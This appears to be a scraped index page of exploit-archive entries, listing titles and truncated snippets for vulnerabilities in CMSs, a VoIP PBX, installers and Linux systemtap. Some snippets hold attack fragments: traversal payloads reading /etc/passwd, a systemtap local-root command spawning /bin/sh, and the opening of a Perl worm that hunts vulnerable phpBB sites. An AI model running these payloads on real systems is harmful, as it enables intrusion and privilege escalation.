Golabi CMS <= 1.0.1 Session Poisoning Vulnerability

No description provided by source. -------------------------------------------------------------------------------- \ \ / \ | | / \ /\ \ \ \ | |/ /\ \ / \ / / | | \ | | // / / \ / | \ | / // /| | \ /|| / / | /| /\ / \ / / / // / /// /...

Astium VoIP PBX <= 2.1 build 25399 - Multiple Vulns Remote Root Exploit

No description provided by source. !/usr/bin/python +--------------------------------------------------------------------------------------------------------------------------------+ Exploit Title : Astium VoIP PBX = v2.1 build 25399 Multiple Vulns Remote Root Exploit Date : 01-02-2012 Author :...

X7CHAT 1.3.6b - Add Admin Exploit

No description provided by source. + Author : d4rk-h4ck3r + Email : [email protected] + Site : www.vbspiders.com/vb + Team : Tunisian Security TeaM + Dork : powered by x7 chat 1.3.6b Exploit-DB Notes Vendor has already addressed this issue and even provided a solution in Docs/INSTALL.txt: After finishing...

Vtiger Install Unauthenticated Remote Command Execution

No description provided by source. This module requires Metasploit: http//metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework require 'msf/core' class Metasploit3 Msf::Exploit::Remote Application database configuration is overwritten Rank = ManualRanking include...

Big Forum 5.2v Arbitrary File Upload & LFI Vulnerability

No description provided by source. = Big Forum 5.2v Arbitrary File Upload & Local File Inclusion Vulnerability = Author : Zer0 Thunder = Home : http://colombohackers.com = Download : http://sourceforge.net/projects/npage-bigforum/files/bigforum%205.2/bf5.2.zip/download = Date : 06/24/2010 Arbitra...

ShopEx Single <= 4.5.1 - Multiple Vulnerabilities

No description provided by source. Exploit Title: ShopEx = Single V4.5.1 Multiple Vulnerabilities Date: 30/01/10 Author: cp77fk4r | empty0pageSHIFT+2gmail.com| www.DigitalWhisper.co.il Software Link: http://www.shopex.cn | http://www.shopex.cn/download/ Version: = Single V4.5.1 Tested on: PHP Cro...

PHP PEAR <= 1.5.3 INSTALL-AS Attribute Arbitrary File Overwrite Vulnerability

No description provided by source. source: http://www.securityfocus.com/bid/24111/info PEAR is prone to a vulnerability that lets attackers overwrite arbitrary files. An attacker-supplied package may supply directory-traversal strings through the 'install-as' attribute to create and overwrite fil...

SCO Unixware 7.1 pkginstall Buffer Overflow

No description provided by source. source: http://www.securityfocus.com/bid/853/info It is possible to view the entries in /etc/shadow through exploiting a buffer overflow in pkgcat and pkginstall. Though neither of these binaries are setuid, the dacread permissions which are granted in...

NVIDIA Install Application 2.1002.85.551 (NVI2.dll) Unicode Buffer Overflow PoC

No description provided by source. !-- NVIDIA Install Application 2.1002.85.551 NVI2.dll Unicode Buffer Overflow PoC Vendor: NVIDIA Corporation Product web page: http://www.nvidia.com Affected version: 2.1002.85.551 Driver: 306.97 Summary: NVIDIA install core application for Windows. Desc: The...

LoveCMS 1.4 install/index.php step Parameter Traversal Arbitrary File Access

No description provided by source. source: http://www.securityfocus.com/bid/22675/info LoveCMS is prone to multiple input-validation vulnerabilities, including an arbitrary-file-upload issue, a remote file-include issue, a local file-include issue, and a cross-site scripting issue. An attacker ca...

Symantec Altiris Deployment Solution ActiveX Control Arbitrary File Download and Execute

No description provided by source. $Id: symantecaltirisdeploymentdownloadandinstall.rb 11127 2010-11-24 19:35:38Z jduck $ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more informati...

PostNuke 0.7x Install Script Administrator Password Disclosure Vulnerability

No description provided by source. source: http://www.securityfocus.com/bid/10793/info It is reported that PostNuke may disclose administrator authentication credentials to remote attackers. This issue presents itself because the application fails to remove the install script 'install.php' after...

ReloadCMS <= 1.2.5 Cross Site Scripting / Remote Code Execution Exploit

No description provided by source. ?php / ReloadCMS = 1.2.5stable Cross site scripting / remote command execution software site: http://reloadcms.com/ description: ReloadCMS is a free CMS written on PHP and based on flat files. vulnerability: ReloadCMS do not properly sanitize User-Agent request...

Oracle Rapid Install Web Server Secondary Login Page Cross Site Scripting Vulnerability

No description provided by source. source: http://www.securityfocus.com/bid/24697/info Oracle Rapid Install Web Server is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. An attacker can exploit this vulnerability to inject HTML...

Jaws 0.8.8 - Multiple Local File Inclusion Vulnerabilities

No description provided by source. Jaws 0.8.8 Local File Inclusion POST /upgrade/index.php language=../../../../../../../../../../../../etc/passwd%00 POST /install/index.php language=../../../../../../../../../../../../etc/passwd%00 Also vulnerable: Introductioncomplete uselog Author notified: Ja...

OpenDocMan 1.2.6.1 - Password Change CSRF

No description provided by source. Exploit Title: OpenDocMan Password Change CSRF Date: 22/08/2012 Exploit Author: Shai rod @NightRang3r Vendor Homepage: http://www.opendocman.com/ Software Link: https://github.com/downloads/opendocman/opendocman/opendocman-1.2.6.1.tar.gz Version: 1.2.6.1 Gr33Tz:...

systemtap - Local Root Privilege Escalation Vulnerability

No description provided by source. CVE-2010-4170 printf install uprobes /bin/sh exploit.conf; MODPROBEOPTIONS=-C exploit.conf staprun -u whatever RHEL Advisory: https://rhn.redhat.com/errata/RHSA-2010-0894.html...

Sanity.b - phpBB <= 2.0.10 Bot Install (AOL/Yahoo Search)

No description provided by source. /usr/bin/perl use IO::Socket; use LWP::Simple; @vul = ; $a=0; $numero = int rand999; $site = search.aol.com; $procura = viewtopic.php%3Ft%3D$numero; for$n=0;$n90;$n += 10 $sock = IO::Socket::INET-newPeerAddr=$site,PeerPort=80,Proto=tcp or next; print $sock GET...

Adobe Flex SDK 3.x 'index.template.html' Cross Site Scripting Vulnerability

No description provided by source. source: http://www.securityfocus.com/bid/36087/info Adobe Flex SDK is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input to express-install template files. An attacker could exploit this vulnerability to execu...

Glossword <= 1.8.11 Arbitrary Uninstall / Install Vulnerability

No description provided by source. ----------------------------- Evil-Cod3r ------------------------------- ============================================================================== / \ | | | | / \ | | | | / \ | | | | / \ | || | / \ | | | | / \ | | IN THE NAME OF // \ || || // \ || || &n...